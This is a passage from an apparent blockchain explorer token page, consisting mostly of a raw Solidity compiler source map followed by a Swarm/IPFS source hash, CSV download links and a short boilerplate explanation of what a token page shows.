7:8;10004:32;:::i;:::-;9992:44;;9334:712;;;9204:848;;;;;;;:::o;10058:1073::-;10112:5;10303:8;10293:40;;10324:1;10315:10;;10326:5;;10293:40;10352:4;10342:36;;10369:1;10360:10;;10371:5;;10342:36;10438:4;10486:1;10481:27;;;;10522:1;10517:191;;;;10431:277;;10481:27;10499:1;10490:10;;10501:5;;;10517:191;10562:3;10552:8;10549:17;10546:43;;;10569:18;;:::i;:::-;10546:43;10618:8;10615:1;10611:16;10602:25;;10653:3;10646:5;10643:14;10640:40;;;10660:18;;:::i;:::-;10640:40;10693:5;;;10431:277;;10817:2;10807:8;10804:16;10798:3;10792:4;10789:13;10785:36;10767:2;10757:8;10754:16;10749:2;10743:4;10740:12;10736:35;10720:111;10717:246;;;10873:8;10867:4;10863:19;10854:28;;10908:3;10901:5;10898:14;10895:40;;;10915:18;;:::i;:::-;10895:40;10948:5;;10717:246;10988:42;11026:3;11016:8;11010:4;11007:1;10988:42;:::i;:::-;10973:57;;;;11062:4;11057:3;11053:14;11046:5;11043:25;11040:51;;;11071:18;;:::i;:::-;11040:51;11120:4;11113:5;11109:16;11100:25;;10058:1073;;;;;;:::o;11137:281::-;11195:5;11219:23;11237:4;11219:23;:::i;:::-;11211:31;;11263:25;11279:8;11263:25;:::i;:::-;11251:37;;11307:104;11344:66;11334:8;11328:4;11307:104;:::i;:::-;11298:113;;11137:281;;;;:::o;11424:348::-;11464:7;11487:20;11505:1;11487:20;:::i;:::-;11482:25;;11521:20;11539:1;11521:20;:::i;:::-;11516:25;;11709:1;11641:66;11637:74;11634:1;11631:81;11626:1;11619:9;11612:17;11608:105;11605:131;;;11716:18;;:::i;:::-;11605:131;11764:1;11761;11757:9;11746:20;;11424:348;;;;:::o;11778:182::-;11918:34;11914:1;11906:6;11902:14;11895:58;11778:182;:::o;11966:366::-;12108:3;12129:67;12193:2;12188:3;12129:67;:::i;:::-;12122:74;;12205:93;12294:3;12205:93;:::i;:::-;12323:2;12318:3;12314:12;12307:19;;11966:366;;;:::o;12338:419::-;12504:4;12542:2;12531:9;12527:18;12519:26;;12591:9;12585:4;12581:20;12577:1;12566:9;12562:17;12555:47;12619:131;12745:4;12619:131;:::i;:::-;12611:139;;12338:419;;;:::o;12763:180::-;12811:77;12808:1;12801:88;12908:4;12905:1;12898:15;12932:4;12929:1;12922:15;12949:233;12988:3;13011:24;13029:5;13011:24;:::i;:::-;13002:33;;13057:66;13050:5;13047:77;13044:103;;13127:18;;:::i;:::-;13044:103;13174:1;13167:5;13163:13;13156:20;;12949:233;;;:::o;13188:173::-;13328:25;13324:1;13316:6;13312:14;13305:49;13188:173;:::o;13367:366::-;13509:3;13530:67;13594:2;13589:3;13530:67;:::i;:::-;13523:74;;13606:93;13695:3;13606:93;:::i;:::-;13724:2;13719:3;13715:12;13708:19;;13367:366;;;:::o;13739:419::-;13905:4;13943:2;13932:9;13928:18;13920:26;;13992:9;13986:4;13982:20;13978:1;13967:9;13963:17;13956:47;14020:131;14146:4;14020:131;:::i;:::-;14012:139;;13739:419;;;:::o;14164:143::-;14221:5;14252:6;14246:13;14237:22;;14268:33;14295:5;14268:33;:::i;:::-;14164:143;;;;:::o;14313:351::-;14383:6;14432:2;14420:9;14411:7;14407:23;14403:32;14400:119;;;14438:79;;:::i;:::-;14400:119;14558:1;14583:64;14639:7;14630:6;14619:9;14615:22;14583:64;:::i;:::-;14573:74;;14529:128;14313:351;;;;:::o;14670:332::-;14791:4;14829:2;14818:9;14814:18;14806:26;;14842:71;14910:1;14899:9;14895:17;14886:6;14842:71;:::i;:::-;14923:72;14991:2;14980:9;14976:18;14967:6;14923:72;:::i;:::-;14670:332;;;;;:::o;15008:85::-;15053:7;15082:5;15071:16;;15008:85;;;:::o;15099:60::-;15127:3;15148:5;15141:12;;15099:60;;;:::o;15165:158::-;15223:9;15256:61;15274:42;15283:32;15309:5;15283:32;:::i;:::-;15274:42;:::i;:::-;15256:61;:::i;:::-;15243:74;;15165:158;;;:::o;15329:147::-;15424:45;15463:5;15424:45;:::i;:::-;15419:3;15412:58;15329:147;;:::o;15482:807::-;15731:4;15769:3;15758:9;15754:19;15746:27;;15783:71;15851:1;15840:9;15836:17;15827:6;15783:71;:::i;:::-;15864:72;15932:2;15921:9;15917:18;15908:6;15864:72;:::i;:::-;15946:80;16022:2;16011:9;16007:18;15998:6;15946:80;:::i;:::-;16036;16112:2;16101:9;16097:18;16088:6;16036:80;:::i;:::-;16126:73;16194:3;16183:9;16179:19;16170:6;16126:73;:::i;:::-;16209;16277:3;16266:9;16262:19;16253:6;16209:73;:::i;:::-;15482:807;;;;;;;;;:::o;16295:143::-;16352:5;16383:6;16377:13;16368:22;;16399:33;16426:5;16399:33;:::i;:::-;16295:143;;;;:::o;16444:663::-;16532:6;16540;16548;16597:2;16585:9;16576:7;16572:23;16568:32;16565:119;;;16603:79;;:::i;:::-;16565:119;16723:1;16748:64;16804:7;16795:6;16784:9;16780:22;16748:64;:::i;:::-;16738:74;;16694:128;16861:2;16887:64;16943:7;16934:6;16923:9;16919:22;16887:64;:::i;:::-;16877:74;;16832:129;17000:2;17026:64;17082:7;17073:6;17062:9;17058:22;17026:64;:::i;:::-;17016:74;;16971:129;16444:663;;;;;:::o;17113:332::-;17234:4;17272:2;17261:9;17257:18;17249:26;;17285:71;17353:1;17342:9;17338:17;17329:6;17285:71;:::i;:::-;17366:72;17434:2;17423:9;17419:18;17410:6;17366:72;:::i;:::-;17113:332;;;;;:::o;17451:116::-;17521:21;17536:5;17521:21;:::i;:::-;17514:5;17511:32;17501:60;;17557:1;17554;17547:12;17501:60;17451:116;:::o;17573:137::-;17627:5;17658:6;17652:13;17643:22;;17674:30;17698:5;17674:30;:::i;:::-;17573:137;;;;:::o;17716:345::-;17783:6;17832:2;17820:9;17811:7;17807:23;17803:32;17800:119;;;17838:79;;:::i;:::-;17800:119;17958:1;17983:61;18036:7;18027:6;18016:9;18012:22;17983:61;:::i;:::-;17973:71;;17929:125;17716:345;;;;:::o;18067:223::-;18207:34;18203:1;18195:6;18191:14;18184:58;18276:6;18271:2;18263:6;18259:15;18252:31;18067:223;:::o;18296:366::-;18438:3;18459:67;18523:2;18518:3;18459:67;:::i;:::-;18452:74;;18535:93;18624:3;18535:93;:::i;:::-;18653:2;18648:3;18644:12;18637:19;;18296:366;;;:::o;18668:419::-;18834:4;18872:2;18861:9;18857:18;18849:26;;18921:9;18915:4;18911:20;18907:1;18896:9;18892:17;18885:47;18949:131;19075:4;18949:131;:::i;:::-;18941:139;;18668:419;;;:::o;19093:221::-;19233:34;19229:1;19221:6;19217:14;19210:58;19302:4;19297:2;19289:6;19285:15;19278:29;19093:221;:::o;19320:366::-;19462:3;19483:67;19547:2;19542:3;19483:67;:::i;:::-;19476:74;;19559:93;19648:3;19559:93;:::i;:::-;19677:2;19672:3;19668:12;19661:19;;19320:366;;;:::o;19692:419::-;19858:4;19896:2;19885:9;19881:18;19873:26;;19945:9;19939:4;19935:20;19931:1;19920:9;19916:17;19909:47;19973:131;20099:4;19973:131;:::i;:::-;19965:139;;19692:419;;;:::o;20117:224::-;20257:34;20253:1;20245:6;20241:14;20234:58;20326:7;20321:2;20313:6;20309:15;20302:32;20117:224;:::o;20347:366::-;20489:3;20510:67;20574:2;20569:3;20510:67;:::i;:::-;20503:74;;20586:93;20675:3;20586:93;:::i;:::-;20704:2;20699:3;20695:12;20688:19;;20347:366;;;:::o;20719:419::-;20885:4;20923:2;20912:9;20908:18;20900:26;;20972:9;20966:4;20962:20;20958:1;20947:9;20943:17;20936:47;21000:131;21126:4;21000:131;:::i;:::-;20992:139;;20719:419;;;:::o;21144:222::-;21284:34;21280:1;21272:6;21268:14;21261:58;21353:5;21348:2;21340:6;21336:15;21329:30;21144:222;:::o;21372:366::-;21514:3;21535:67;21599:2;21594:3;21535:67;:::i;:::-;21528:74;;21611:93;21700:3;21611:93;:::i;:::-;21729:2;21724:3;21720:12;21713:19;;21372:366;;;:::o;21744:419::-;21910:4;21948:2;21937:9;21933:18;21925:26;;21997:9;21991:4;21987:20;21983:1;21972:9;21968:17;21961:47;22025:131;22151:4;22025:131;:::i;:::-;22017:139;;21744:419;;;:::o;22169:228::-;22309:34;22305:1;22297:6;22293:14;22286:58;22378:11;22373:2;22365:6;22361:15;22354:36;22169:228;:::o;22403:366::-;22545:3;22566:67;22630:2;22625:3;22566:67;:::i;:::-;22559:74;;22642:93;22731:3;22642:93;:::i;:::-;22760:2;22755:3;22751:12;22744:19;;22403:366;;;:::o;22775:419::-;22941:4;22979:2;22968:9;22964:18;22956:26;;23028:9;23022:4;23018:20;23014:1;23003:9;22999:17;22992:47;23056:131;23182:4;23056:131;:::i;:::-;23048:139;;22775:419;;;:::o;23200:297::-;23340:34;23336:1;23328:6;23324:14;23317:58;23409:34;23404:2;23396:6;23392:15;23385:59;23478:11;23473:2;23465:6;23461:15;23454:36;23200:297;:::o;23503:366::-;23645:3;23666:67;23730:2;23725:3;23666:67;:::i;:::-;23659:74;;23742:93;23831:3;23742:93;:::i;:::-;23860:2;23855:3;23851:12;23844:19;;23503:366;;;:::o;23875:419::-;24041:4;24079:2;24068:9;24064:18;24056:26;;24128:9;24122:4;24118:20;24114:1;24103:9;24099:17;24092:47;24156:131;24282:4;24156:131;:::i;:::-;24148:139;;23875:419;;;:::o;24300:175::-;24440:27;24436:1;24428:6;24424:14;24417:51;24300:175;:::o;24481:366::-;24623:3;24644:67;24708:2;24703:3;24644:67;:::i;:::-;24637:74;;24720:93;24809:3;24720:93;:::i;:::-;24838:2;24833:3;24829:12;24822:19;;24481:366;;;:::o;24853:419::-;25019:4;25057:2;25046:9;25042:18;25034:26;;25106:9;25100:4;25096:20;25092:1;25081:9;25077:17;25070:47;25134:131;25260:4;25134:131;:::i;:::-;25126:139;;24853:419;;;:::o;25278:305::-;25318:3;25337:20;25355:1;25337:20;:::i;:::-;25332:25;;25371:20;25389:1;25371:20;:::i;:::-;25366:25;;25525:1;25457:66;25453:74;25450:1;25447:81;25444:107;;;25531:18;;:::i;:::-;25444:107;25575:1;25572;25568:9;25561:16;;25278:305;;;;:::o;25589:176::-;25729:28;25725:1;25717:6;25713:14;25706:52;25589:176;:::o;25771:366::-;25913:3;25934:67;25998:2;25993:3;25934:67;:::i;:::-;25927:74;;26010:93;26099:3;26010:93;:::i;:::-;26128:2;26123:3;26119:12;26112:19;;25771:366;;;:::o;26143:419::-;26309:4;26347:2;26336:9;26332:18;26324:26;;26396:9;26390:4;26386:20;26382:1;26371:9;26367:17;26360:47;26424:131;26550:4;26424:131;:::i;:::-;26416:139;;26143:419;;;:::o;26568:191::-;26608:4;26628:20;26646:1;26628:20;:::i;:::-;26623:25;;26662:20;26680:1;26662:20;:::i;:::-;26657:25;;26701:1;26698;26695:8;26692:34;;;26706:18;;:::i;:::-;26692:34;26751:1;26748;26744:9;26736:17;;26568:191;;;;:::o;26765:114::-;26832:6;26866:5;26860:12;26850:22;;26765:114;;;:::o;26885:184::-;26984:11;27018:6;27013:3;27006:19;27058:4;27053:3;27049:14;27034:29;;26885:184;;;;:::o;27075:132::-;27142:4;27165:3;27157:11;;27195:4;27190:3;27186:14;27178:22;;27075:132;;;:::o;27213:108::-;27290:24;27308:5;27290:24;:::i;:::-;27285:3;27278:37;27213:108;;:::o;27327:179::-;27396:10;27417:46;27459:3;27451:6;27417:46;:::i;:::-;27495:4;27490:3;27486:14;27472:28;;27327:179;;;;:::o;27512:113::-;27582:4;27614;27609:3;27605:14;27597:22;;27512:113;;;:::o;27661:732::-;27780:3;27809:54;27857:5;27809:54;:::i;:::-;27879:86;27958:6;27953:3;27879:86;:::i;:::-;27872:93;;27989:56;28039:5;27989:56;:::i;:::-;28068:7;28099:1;28084:284;28109:6;28106:1;28103:13;28084:284;;;28185:6;28179:13;28212:63;28271:3;28256:13;28212:63;:::i;:::-;28205:70;;28298:60;28351:6;28298:60;:::i;:::-;28288:70;;28144:224;28131:1;28128;28124:9;28119:14;;28084:284;;;28088:14;28384:3;28377:10;;27785:608;;;27661:732;;;;:::o;28399:831::-;28662:4;28700:3;28689:9;28685:19;28677:27;;28714:71;28782:1;28771:9;28767:17;28758:6;28714:71;:::i;:::-;28795:80;28871:2;28860:9;28856:18;28847:6;28795:80;:::i;:::-;28922:9;28916:4;28912:20;28907:2;28896:9;28892:18;28885:48;28950:108;29053:4;29044:6;28950:108;:::i;:::-;28942:116;;29068:72;29136:2;29125:9;29121:18;29112:6;29068:72;:::i;:::-;29150:73;29218:3;29207:9;29203:19;29194:6;29150:73;:::i;:::-;28399:831;;;;;;;;:::o;29236:180::-;29284:77;29281:1;29274:88;29381:4;29378:1;29371:15;29405:4;29402:1;29395:15;29422:185;29462:1;29479:20;29497:1;29479:20;:::i;:::-;29474:25;;29513:20;29531:1;29513:20;:::i;:::-;29508:25;;29552:1;29542:35;;29557:18;;:::i;:::-;29542:35;29599:1;29596;29592:9;29587:14;;29422:185;;;;:::o;29613:220::-;29753:34;29749:1;29741:6;29737:14;29730:58;29822:3;29817:2;29809:6;29805:15;29798:28;29613:220;:::o;29839:366::-;29981:3;30002:67;30066:2;30061:3;30002:67;:::i;:::-;29995:74;;30078:93;30167:3;30078:93;:::i;:::-;30196:2;30191:3;30187:12;30180:19;;29839:366;;;:::o;30211:419::-;30377:4;30415:2;30404:9;30400:18;30392:26;;30464:9;30458:4;30454:20;30450:1;30439:9;30435:17;30428:47;30492:131;30618:4;30492:131;:::i;:::-;30484:139;;30211:419;;;:::o;30636:177::-;30776:29;30772:1;30764:6;30760:14;30753:53;30636:177;:::o;30819:366::-;30961:3;30982:67;31046:2;31041:3;30982:67;:::i;:::-;30975:74;;31058:93;31147:3;31058:93;:::i;:::-;31176:2;31171:3;31167:12;31160:19;;30819:366;;;:::o;31191:419::-;31357:4;31395:2;31384:9;31380:18;31372:26;;31444:9;31438:4;31434:20;31430:1;31419:9;31415:17;31408:47;31472:131;31598:4;31472:131;:::i;:::-;31464:139;;31191:419;;;:::o
Swarm Source
ipfs://931a76f399f8885dbc4c9a442190d19cb63d0c81161824f9e994db14a7670a0b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.